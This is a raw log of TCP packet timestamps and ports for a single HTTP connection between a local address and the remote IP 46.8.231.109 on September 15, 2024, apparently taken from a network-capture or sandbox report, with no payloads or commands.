Sep 15, 2024 19:37:37.109107971 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109128952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109152079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109160900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109194040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109209061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109232903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109374046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109411955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109445095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109468937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109477043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109492064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109509945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109517097 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109541893 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109554052 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109577894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109586000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109610081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109642982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109675884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109708071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109745026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109795094 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109824896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109858036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109885931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109918118 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109935045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109950066 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109952927 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.109970093 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.109988928 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.110002041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.110029936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.134452105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.139544964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.353215933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.357392073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.567610025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:37.572679043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.788878918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:37.790903091 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.086448908 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.091459990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.303883076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.303942919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.604665995 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.609478951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782686949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782715082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782731056 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782747984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782761097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782777071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782799959 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.782802105 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.782850981 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.782860994 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783123970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783158064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783171892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783204079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783210993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783243895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783277035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783291101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783309937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783324957 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783364058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783433914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783487082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783529043 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783565044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783598900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783621073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783653975 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783663034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783675909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783690929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783704996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783716917 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783719063 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783726931 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783735991 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783751011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783772945 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783858061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783871889 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783885956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783899069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783911943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.783916950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783935070 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.783960104 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.784039021 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784053087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784066916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784080029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784085035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.784096003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784120083 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.784166098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.784166098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.784203053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.784246922 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866676092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866765976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866800070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866832972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866835117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866862059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866868019 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866889000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866904974 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866904974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866940022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866945028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.866975069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.866976023 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867011070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867016077 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867055893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867104053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867136955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867146969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867172003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867177010 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867204905 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867213964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867248058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867290974 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867322922 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867353916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867374897 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867403030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867405891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867439985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867470980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867480993 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867503881 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867537975 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867547035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867571115 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867578983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867621899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867655993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867666960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867690086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867700100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867727041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867731094 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867758989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867770910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867793083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867799044 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867825985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867836952 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867870092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.867896080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.867974043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868006945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868014097 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868043900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868074894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868074894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868076086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868110895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868119001 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868144035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868156910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868191004 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868211031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868243933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868256092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868278027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868284941 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868311882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868321896 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868345022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868355036 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868379116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868388891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868422031 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868506908 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868540049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868547916 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868572950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868578911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868603945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868612051 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868637085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868669033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868685961 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868700981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868711948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868741989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868750095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868782997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868797064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868817091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868827105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868859053 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868896961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868928909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868942976 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868961096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.868983030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.868993998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.869004965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.869028091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.869033098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.869064093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.869069099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.869096994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.869111061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.869142056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.950881958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950906038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950922966 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950938940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950953007 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950969934 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.950978041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.950994968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951013088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951014042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951014042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951030970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951045990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951046944 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951056957 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951062918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951078892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951081038 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951095104 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951111078 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951112986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951128960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951129913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951149940 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951173067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951211929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951227903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951244116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951260090 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951273918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951276064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951287031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951287985 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951312065 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951345921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951452971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951517105 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951550961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951567888 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951584101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951597929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951622009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951636076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951656103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951668978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951689959 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951709032 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951724052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951738119 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951770067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951853037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951884985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951915026 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951917887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951951981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951965094 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.951983929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.951989889 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952018023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952068090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952074051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952107906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952142954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952156067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952172041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952193022 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952215910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952234983 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952263117 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952280045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952307940 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952312946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952346087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952369928 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952377081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952392101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952409983 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952424049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952442884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952456951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952477932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952491045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952510118 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952543020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952558041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952574968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952579975 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952610016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952644110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952658892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952678919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952682018 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952795982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952828884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952851057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952861071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952873945 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952893972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952896118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952928066 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952935934 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.952960014 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.952992916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953012943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.953025103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953039885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.953079939 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953082085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.953113079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953125954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.953145981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953181982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:38.953196049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.953308105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:38.954983950 CEST	80	49748	46.8.231.109	192.168.2.6
